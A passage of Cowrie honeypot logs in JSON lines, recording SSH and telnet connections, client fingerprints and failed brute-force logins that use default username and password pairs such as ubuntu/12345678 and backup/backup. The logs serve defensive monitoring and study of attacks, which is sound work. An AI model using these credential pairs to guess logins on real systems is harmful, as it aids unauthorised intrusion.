{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:bb:1d:af:0d:63:27:83:e3:05:eb:e1:39:e6:e6:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+OxQ6H7V/JwoBdqjYgFJK50ABCDAHlbsrt1LPCrboHIBcoy2JN5KHzo+u7AplabseRTYk6EwSanOyQvf//yvu83yO1PZ7kDMD409dxByVAcUgBvtTPHcNHK21sejSNHm+PbatvFzKNFXzPN4YyLDnHYVkLPTmuByvMFgzCtllteZ9WuLfDQiP1otn9zHYMonquMhWhDfd3obOOQK55cU8xkm6PLnmEHIzdKJZY3lHEB+LsDBn6lrT6qjtPV6yJlIIOfEXplUeKCUR6PGzgYCr9rQxcrXJM882BsTq19Dp6iSeSsXuNlzRA9yaF5qBb2R1sd6pdgorCGC5vhVn++dj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:bb:1d:af:0d:63:27:83:e3:05:eb:e1:39:e6:e6:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.459554Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:bb:1d:af:0d:63:27:83:e3:05:eb:e1:39:e6:e6:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+OxQ6H7V/JwoBdqjYgFJK50ABCDAHlbsrt1LPCrboHIBcoy2JN5KHzo+u7AplabseRTYk6EwSanOyQvf//yvu83yO1PZ7kDMD409dxByVAcUgBvtTPHcNHK21sejSNHm+PbatvFzKNFXzPN4YyLDnHYVkLPTmuByvMFgzCtllteZ9WuLfDQiP1otn9zHYMonquMhWhDfd3obOOQK55cU8xkm6PLnmEHIzdKJZY3lHEB+LsDBn6lrT6qjtPV6yJlIIOfEXplUeKCUR6PGzgYCr9rQxcrXJM882BsTq19Dp6iSeSsXuNlzRA9yaF5qBb2R1sd6pdgorCGC5vhVn++dj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.463377Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.483194Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44252,"dst_ip":"159.203.135.109","dst_port":22,"session":"7368f88ee506","protocol":"ssh","message":"New connection: 172.237.20.62:44252 (159.203.135.109:22) [session: 7368f88ee506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:43.171278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:43.176400Z","src_ip":"172.237.20.62","session":"7368f88ee506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:43.340527Z","src_ip":"172.237.20.62","session":"7368f88ee506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:43.827822Z","src_ip":"172.237.20.62","session":"7368f88ee506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:44.996972Z","src_ip":"172.237.20.62","session":"7368f88ee506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8c28fc4f9d","protocol":"telnet","message":"New connection: 198.27.76.181:60080 (10.17.0.5:23) [session: 3b8c28fc4f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:50.068203Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48982,"dst_ip":"159.203.135.109","dst_port":22,"session":"46bab90e3943","protocol":"ssh","message":"New connection: 172.237.20.62:48982 (159.203.135.109:22) [session: 46bab90e3943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.060274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.064687Z","src_ip":"172.237.20.62","session":"46bab90e3943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57578,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d8001c3d91f","protocol":"ssh","message":"New connection: 89.144.211.139:57578 (159.203.135.109:22) [session: 5d8001c3d91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.221885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.230231Z","src_ip":"89.144.211.139","session":"5d8001c3d91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.233426Z","src_ip":"172.237.20.62","session":"46bab90e3943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.361956Z","src_ip":"89.144.211.139","session":"5d8001c3d91f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.724991Z","src_ip":"172.237.20.62","session":"46bab90e3943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"USER","message":"login attempt [user/USER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:54.911179Z","src_ip":"89.144.211.139","session":"5d8001c3d91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:55.887560Z","src_ip":"172.237.20.62","session":"46bab90e3943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35714,"dst_ip":"10.17.0.5","dst_port":22,"session":"6968fe2ba667","protocol":"ssh","message":"New connection: 80.94.92.184:35714 (10.17.0.5:22) [session: 6968fe2ba667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:55.962342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:56.020433Z","src_ip":"80.94.92.184","session":"6968fe2ba667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:56.057694Z","src_ip":"89.144.211.139","session":"5d8001c3d91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:56.117416Z","src_ip":"80.94.92.184","session":"6968fe2ba667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:57.211778Z","src_ip":"80.94.92.184","session":"6968fe2ba667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:58.523154Z","src_ip":"80.94.92.184","session":"6968fe2ba667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46848,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba69b7430fd","protocol":"ssh","message":"New connection: 172.237.20.62:46848 (159.203.135.109:22) [session: 2ba69b7430fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:05.172950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:05.177749Z","src_ip":"172.237.20.62","session":"2ba69b7430fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:05.343225Z","src_ip":"172.237.20.62","session":"2ba69b7430fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:05.833903Z","src_ip":"172.237.20.62","session":"2ba69b7430fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:07.002626Z","src_ip":"172.237.20.62","session":"2ba69b7430fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":32812,"dst_ip":"159.203.135.109","dst_port":22,"session":"d95cb1dffc69","protocol":"ssh","message":"New connection: 172.237.20.62:32812 (159.203.135.109:22) [session: d95cb1dffc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:16.107828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:16.113144Z","src_ip":"172.237.20.62","session":"d95cb1dffc69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:16.273119Z","src_ip":"172.237.20.62","session":"d95cb1dffc69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:16.754819Z","src_ip":"172.237.20.62","session":"d95cb1dffc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:17.917009Z","src_ip":"172.237.20.62","session":"d95cb1dffc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.42889857292175,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:24.496888Z","src_ip":"198.27.76.181","session":"3b8c28fc4f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49504,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cab63843173","protocol":"ssh","message":"New connection: 172.237.20.62:49504 (159.203.135.109:22) [session: 0cab63843173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:27.005034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:27.010357Z","src_ip":"172.237.20.62","session":"0cab63843173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:27.169283Z","src_ip":"172.237.20.62","session":"0cab63843173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:27.645379Z","src_ip":"172.237.20.62","session":"0cab63843173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:28.806846Z","src_ip":"172.237.20.62","session":"0cab63843173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53226,"dst_ip":"159.203.135.109","dst_port":22,"session":"3681157ae29d","protocol":"ssh","message":"New connection: 172.237.20.62:53226 (159.203.135.109:22) [session: 3681157ae29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:38.025635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:38.033755Z","src_ip":"172.237.20.62","session":"3681157ae29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com",